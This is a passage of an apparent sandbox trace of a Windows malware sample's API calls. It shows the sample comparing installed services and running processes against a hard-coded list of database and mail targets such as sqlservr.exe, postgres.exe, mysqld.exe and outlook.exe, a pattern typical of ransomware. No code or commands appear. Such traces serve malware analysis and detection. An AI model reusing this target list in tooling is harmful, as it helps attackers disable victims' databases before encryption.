(lpString="AudioSrv") returned 8 [0229.320] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0229.320] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0229.320] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0229.320] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0229.320] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0229.321] lstrlenW (lpString="BFE") returned 3 [0229.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0229.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0229.321] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0229.321] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0229.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0229.321] lstrlenW (lpString="CryptSvc") returned 8 [0229.321] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0229.321] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0229.321] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0229.321] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0229.321] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0229.322] lstrlenW (lpString="CscService") returned 10 [0229.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0229.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0229.322] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0229.322] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0229.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0229.322] lstrlenW (lpString="DcomLaunch") returned 10 [0229.322] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.322] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0229.322] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0229.322] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0229.322] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0229.322] lstrlenW (lpString="Dhcp") returned 4 [0229.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0229.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0229.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0229.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0229.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0229.323] lstrlenW (lpString="Dnscache") returned 8 [0229.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0229.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0229.323] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0229.323] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0229.323] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0229.323] lstrlenW (lpString="DPS") returned 3 [0229.323] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0229.323] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0229.324] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0229.324] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0229.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0229.324] lstrlenW (lpString="eventlog") returned 8 [0229.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0229.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0229.324] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0229.324] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0229.324] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0229.324] lstrlenW (lpString="EventSystem") returned 11 [0229.324] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0229.324] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0229.324] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0229.324] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0229.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0229.325] lstrlenW (lpString="gpsvc") returned 5 [0229.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0229.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0229.325] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0229.325] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0229.325] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0229.325] lstrlenW (lpString="LanmanWorkstation") returned 17 [0229.325] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.325] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0229.325] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0229.325] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0229.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0229.326] lstrlenW (lpString="lmhosts") returned 7 [0229.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0229.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0229.326] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0229.326] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0229.326] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0229.326] lstrlenW (lpString="MMCSS") returned 5 [0229.326] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0229.326] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0229.326] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0229.326] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0229.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0229.327] lstrlenW (lpString="MpsSvc") returned 6 [0229.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0229.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0229.327] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0229.327] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0229.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0229.327] lstrlenW (lpString="NlaSvc") returned 6 [0229.327] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0229.327] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0229.327] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0229.327] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0229.327] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0229.327] lstrlenW (lpString="nsi") returned 3 [0229.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0229.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0229.328] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0229.328] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0229.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0229.328] lstrlenW (lpString="PlugPlay") returned 8 [0229.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0229.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0229.328] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0229.328] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0229.328] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0229.328] lstrlenW (lpString="Power") returned 5 [0229.328] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0229.328] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0229.329] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0229.329] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0229.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0229.329] lstrlenW (lpString="ProfSvc") returned 7 [0229.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0229.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0229.329] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0229.329] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0229.329] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0229.329] lstrlenW (lpString="RpcEptMapper") returned 12 [0229.329] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0229.329] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0229.329] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0229.329] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0229.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0229.330] lstrlenW (lpString="RpcSs") returned 5 [0229.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0229.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0229.330] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0229.330] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0229.330] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0229.330] lstrlenW (lpString="SamSs") returned 5 [0229.330] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0229.330] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0229.330] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0229.330] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0229.331] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0229.331] lstrlenW (lpString="Schedule") returned 8 [0229.331] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0229.331] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0229.332] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0229.332] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0229.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0229.332] lstrlenW (lpString="SENS") returned 4 [0229.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0229.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0229.332] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0229.332] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0229.332] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0229.332] lstrlenW (lpString="ShellHWDetection") returned 16 [0229.332] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0229.332] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0229.332] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0229.333] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0229.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0229.333] lstrlenW (lpString="Spooler") returned 7 [0229.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0229.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0229.333] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0229.333] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0229.333] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0229.333] lstrlenW (lpString="Themes") returned 6 [0229.333] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0229.333] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0229.334] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0229.334] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0229.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0229.334] lstrlenW (lpString="UxSms") returned 5 [0229.334] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0229.334] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0229.334] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0229.334] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0229.334] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0229.334] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x432a868 | out: hHeap=0x590000) returned 1 [0229.334] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0229.339] Process32FirstW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0229.340] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4b, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0229.341] lstrlenW (lpString="System") returned 6 [0229.341] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0229.341] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0229.342] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0229.342] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0229.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0229.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0229.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0229.342] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0229.343] lstrlenW (lpString="smss.exe") returned 8 [0229.343] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0229.343] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0229.344] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.345] lstrlenW (lpString="csrss.exe") returned 9 [0229.345] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0229.345] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0229.345] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0229.346] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0229.346] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0229.346] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0229.346] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0229.346] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0229.347] lstrlenW (lpString="wininit.exe") returned 11 [0229.347] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0229.347] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0229.347] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0229.347] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0229.347] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0229.347] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0229.348] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0229.348] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0229.349] lstrlenW (lpString="csrss.exe") returned 9 [0229.349] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0229.349] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0229.349] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0229.349] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0229.349] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0229.349] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0229.349] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0229.349] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0229.350] lstrlenW (lpString="winlogon.exe") returned 12 [0229.350] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0229.350] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0229.350] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0229.350] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0229.351] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="winlogon.exe") returned -1 [0229.351] lstrcmpiW (lpString1="mysqld.exe", lpString2="winlogon.exe") returned -1 [0229.351] lstrcmpiW (lpString1="sqlservr.exe", lpString2="winlogon.exe") returned -1 [0229.351] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0229.352] lstrlenW (lpString="services.exe") returned 12 [0229.352] lstrcmpiW (lpString1="1c8.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="1cv77.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="outlook.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="postgres.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="mysqld.exe", lpString2="services.exe") returned -1 [0229.352] lstrcmpiW (lpString1="sqlservr.exe", lpString2="services.exe") returned 1 [0229.352] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0229.353] lstrlenW (lpString="lsass.exe") returned 9 [0229.353] lstrcmpiW (lpString1="1c8.exe", lpString2="lsass.exe") returned -1 [0229.353] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsass.exe") returned -1 [0229.354] lstrcmpiW (lpString1="outlook.exe", lpString2="lsass.exe") returned 1 [0229.354] lstrcmpiW (lpString1="postgres.exe", lpString2="lsass.exe") returned 1 [0229.354] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsass.exe") returned 1 [0229.354] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsass.exe") returned 1 [0229.354] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsass.exe") returned 1 [0229.354] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0229.355] lstrlenW (lpString="lsm.exe") returned 7 [0229.355] lstrcmpiW (lpString1="1c8.exe", lpString2="lsm.exe") returned -1 [0229.355] lstrcmpiW (lpString1="1cv77.exe", lpString2="lsm.exe") returned -1 [0229.355] lstrcmpiW (lpString1="outlook.exe", lpString2="lsm.exe") returned 1 [0229.355] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0229.355] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0229.355] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0229.355] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0229.355] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.356] lstrlenW (lpString="svchost.exe") returned 11 [0229.356] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0229.357] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0229.357] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.358] lstrlenW (lpString="svchost.exe") returned 11 [0229.358] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0229.358] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0229.358] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0229.358] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0229.358] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0229.359] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0229.359] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0229.359] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.360] lstrlenW (lpString="svchost.exe") returned 11 [0229.360] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0229.360] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0229.360] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.410] lstrlenW (lpString="svchost.exe") returned 11 [0229.410] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0229.410] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0229.410] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0229.411] lstrlenW (lpString="svchost.exe") returned 11 [0229.411] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0229.411] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0229.412] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0229.412] lstrcmpiW 